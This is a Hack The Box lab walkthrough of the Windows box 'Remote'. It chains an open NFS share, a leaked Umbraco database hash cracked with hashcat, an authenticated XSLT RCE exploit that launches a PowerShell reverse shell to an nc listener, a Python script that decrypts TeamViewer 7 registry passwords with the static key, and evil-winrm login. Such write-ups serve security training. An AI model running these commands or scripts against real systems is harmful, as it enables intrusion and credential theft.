Hack The Box — Remote Walkthrough
Difficulty: Easy · OS: Windows Server 2019 · Target IP: 10.129.230.172 · Date: September 18, 2026
Overview
Remote is a retired Easy-rated Windows box on Hack The Box, and it turned out to be a great exercise in chaining low-severity misconfigurations into a full compromise. Nothing here required a memory-corruption exploit or anything exotic, the entire path was built on things administrators leave lying around: an open NFS share, a leftover CMS database backup, a weak password, and an old remote-support tool that never got uninstalled. I want to walk through exactly how I got from an anonymous FTP banner to an Administrator shell, including the dead ends and the small mistakes I made along the way, because those are usually the most useful part of a writeup.
Reconnaissance
I started the way I always do, with a full TCP scan:
sudo nmap -sSCV -vv 10.129.230.172 -oN remote
The results gave me a lot to work with immediately:
| Port | Service | Notes |
|---|---|---|
| 21 | FTP (Microsoft ftpd) | Anonymous login allowed |
| 80 | HTTP | "Acme Widgets" site |
| 111 | rpcbind | Exposes NFS via port 2049 |
| 135 | msrpc | Standard Windows RPC |
| 139/445 | SMB | Message signing enabled but not required |
| 2049 | NFS | Versions 2, 3, 4 supported |
| 5985 | WinRM | Interesting — means valid creds later would give me a clean shell |
Two things jumped out right away: anonymous FTP was allowed, and NFS was exposed with an rpcbind entry confirming versions up to v4. On a Windows host, NFS being open at all is unusual and almost always worth investigating, since it's rarely locked down as carefully as SMB.
I also noted WinRM was open on 5985. I didn't have credentials yet, but I filed that away, if I ever got valid creds for a privileged user, I'd have a direct, clean path into the box rather than needing to fight with a reverse shell.
Enumeration
FTP Service (Port 21)
I checked the anonymous FTP login first since it's the lowest-effort thing to rule out:
ftp 10.129.230.172
Name: Anonymous
Password: (blank)
I got in, but dir and ls both came back empty. No files sitting in the anonymous FTP root. That's fine — it happens plenty on these boxes. I noted it and moved on rather than spending more time on an empty directory.
NFS Export Audit (Port 2049)
This is where things actually opened up. I listed the exports:
showmount -e 10.129.230.172
Export list for 10.129.230.172:
/site_backups (everyone)
The /site_backups share was exported to everyone without IP restrictions or authentication. The share was mounted locally:
sudo mkdir /mnt/remote-nfs
sudo mount -t nfs 10.129.230.172:/site_backups /mnt/remote-nfs -o nolock
Inside, I found what looked like a full backup of the website running on port 80 — an Umbraco CMS installation, judging by the folder structure. Getting a backup of a CMS's source and config files handed to me over an unauthenticated NFS share is about as good as it gets on an assessment like this, because CMS web.config files routinely contain secrets that were never meant to leave the server.
The machineKey Find
Digging through the backup, I found a web.config fragment with this:
<machineKey validationKey="2D56EBC66956E070A0B01081434DA66BEDF1C7241EC4BEEC7FAB3E6A0ABDE4F5"
decryptionKey="5679E8E158BC850DE4A7172AA5F651D357EB4A5343A5DD03F9F9B022B5EEAB69"
validation="HMACSHA256" decryption="AES" />
I recognized this immediately as a big deal. ASP.NET uses the validationKey and decryptionKey values to sign and encrypt ViewState data sent to the browser. If an attacker has these keys, it's possible to forge a ViewState payload the server will trust, and depending on the .NET version and gadget chains available, that can lead to remote code execution through deserialization. I kept this in my back pocket as a fallback path, but I wanted to check the more direct route first: the database.
Finding and Cracking Credentials
Alongside the web.config, the backup's App_Data folder had the database file for the CMS:
App_Data/
├── cache
├── Logs
├── Models
├── packages
├── TEMP
├── umbraco.config
└── Umbraco.sdf
Umbraco.sdf is a SQL Server Compact database not SQLite, so the usual sqlite3 tooling won't open it. Rather than pulling in a full SQL CE toolchain for a one-off box, I just ran strings against it and grepped for anything that looked like a credential:
strings Umbraco.sdf | grep -i "admin\|@"
That surfaced two user rows I cared about:
[email protected] b8be16afba8c314ad33d812f22a04991b90e2aaa {"hashAlgorithm":"SHA1"}
[email protected] jxDUCcruzN8rSRlqnfmvqw==... {"hashAlgorithm":"HMACSHA256"}
Two different hash formats, which told me something about how this box's data had evolved over time — admin was still on Umbraco's old unsalted SHA1 format, while the smith/ssmith accounts had been migrated to the newer salted HMAC-SHA256 scheme. That's a meaningful difference offline: a salted HMAC-SHA256 hash isn't worth brute-forcing on a CTF timeline, but a bare, unsalted SHA1 hash is exactly the kind of thing that falls to a wordlist attack in seconds.
I threw the admin hash at hashcat:
hashcat -m 100 -a 0 admin.hash /usr/share/wordlists/rockyou.txt
It cracked almost immediately:
b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese
[email protected] : baconandcheese. That gave me a real login for the Umbraco backend rather than needing to reach for the ViewState machineKey trick — always my preference when there's a cleaner option available, since forging ViewState payloads by hand is finicky and easy to get subtly wrong.
Initial Foothold: Authenticated RCE in Umbraco 7.12.4
I logged into the CMS backend at /umbraco/ with the cracked credentials, and confirmed the exact version from the login footer: Umbraco 7.12.4, assembly 1.0.6879.21982.
This version has a well-documented authenticated RCE. Umbraco's backend lets logged-in users create XSLT files under the Developer section, and those files support an <msxsl:script> block that runs inline C# — compiled and executed server-side when the XSLT is transformed. I used a public exploit script (Umbraco-RCE, based on the same technique documented as EDB-ID 46153) rather than hand-building the XSLT payload, since it automates the auth flow, file drop, and trigger against xsltVisualize.aspx.
Using a custom Python exploit script (Umbraco-RCE), command execution was verified:
python3 exploit.py -u [email protected] -p baconandcheese -i http://10.129.230.172 -c whoami
iis apppool\defaultapppool
That confirmed I had command execution as the IIS application pool identity. I hit one small snag going from there to a shell — I initially tried passing the whole PowerShell command ("powershell -EncodedCommand ...") as a single -c argument, which failed because the script expects the executable and its arguments split across separate flags:
Error parsing the XSLT: System.ComponentModel.Win32Exception (0x80004005): The system cannot find the file specified
The fix was splitting them properly — executable in -c, arguments in -a:
python3 exploit.py -u [email protected] -p baconandcheese -i http://10.129.230.172 \
-c "powershell.exe" \
-a "-EncodedCommand <base64-encoded-reverse-shell>"
With a nc -lvnp 4444 listener already running on my end, I fired that off and caught a callback — a working reverse shell as iis apppool\defaultapppool.
Enumeration as defaultapppool
Once I had a shell, I did the usual round of checks before jumping into privilege escalation:
whoami /priv
whoami /all
tasklist /svc
systeminfo
whoami /priv showed SeImpersonatePrivilege enabled — worth remembering as a fallback (Potato-family exploits abuse exactly this privilege to escalate to SYSTEM), but I wanted to try the more direct, intended route first.
The thing that actually caught my eye in tasklist /svc was this line:
TeamViewer_Service.exe 2236 TeamViewer7
An old TeamViewer 7 install running as a service. TeamViewer 7 has a well-known issue: it stores an AES-encrypted copy of the connection password in the registry, encrypted with a static key that's hardcoded into every copy of the client — meaning it's identical across every TeamViewer 7 installation on any machine, not something unique to this box. If that registry value is populated, it's fully recoverable offline.
systeminfo also confirmed this was Windows Server 2019, standalone (no domain), and dir C:\Users showed only Administrator and Public — no separate low-privilege user account, which told me this box's "user" and "root" flags were both likely going to end up under the Administrator profile.
Privilege Escalation: TeamViewer 7 Password Recovery
I pulled the relevant registry key:
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7"
Among the output was exactly what I was hoping for:
SecurityPasswordAES REG_BINARY FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
Since TeamViewer 7's AES key and IV are static and publicly known (they've been documented in multiple writeups after this vulnerability class was discovered), I wrote a short Python script using pycryptodome to decrypt it locally:
from Crypto.Cipher import AES
encrypted_hex = "FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B"
key = bytes([0x06,0x02,0x00,0x00,0x00,0xa4,0x00,0x00,0x52,0x53,0x41,0x31,0x00,0x04,0x00,0x00])
iv = bytes([0x01,0x00,0x01,0x00,0x67,0x24,0x4f,0x43,0x6e,0x67,0x62,0xf2,0x5e,0xa8,0xd7,0x04])
data = bytes.fromhex(encrypted_hex)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(data)
print(decrypted.decode('utf-16le', errors='ignore'))
Running it gave me a clean result:
!R3m0te!
That's the kind of moment that makes reverse-engineering old software worthwhile — a hardcoded key in a decade-old binary handing over a plaintext password with a few lines of Python.
Administrator Access via WinRM
With a candidate Administrator password in hand, and WinRM already confirmed open back in the initial scan, the last step was simple:
evil-winrm -i 10.129.230.172 -u Administrator -p '!R3m0te!'
It authenticated cleanly, dropping me straight into an Administrator PowerShell session — no privilege escalation exploit needed once I had valid creds, since WinRM handed me the access directly:
*Evil-WinRM* PS C:\Users\Administrator\Documents>
From there, the user flag was located in the Public directory while the root flag sat under the Administrator Desktop profile:
type C:\Users\Public\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
Attack Chain Summary
- Recon — nmap revealed anonymous FTP, open NFS, an Umbraco-based website, and WinRM.
- NFS misconfiguration —
/site_backupswas exported to everyone with no restrictions, and mounting it exposed a full backup of the web application. - Information disclosure — the backup contained both an ASP.NET
machineKey(a viable but unused fallback path) and an Umbraco SQL CE database (Umbraco.sdf) with user credentials. - Offline cracking — the
adminaccount was still using Umbraco's legacy unsalted SHA1 password format, which fell to a rockyou.txt wordlist attack almost instantly. - Authenticated RCE — Umbraco 7.12.4's Developer > XSLT editor allowed inline C# execution via
<msxsl:script>, giving me code execution asiis apppool\defaultapppool. - Privilege escalation — a leftover TeamViewer 7 install stored an AES-encrypted password in the registry, encrypted with a static, publicly known key, decrypting to the local Administrator's password.
- Full compromise — that password worked directly against WinRM, giving me an interactive Administrator shell with no further exploitation required.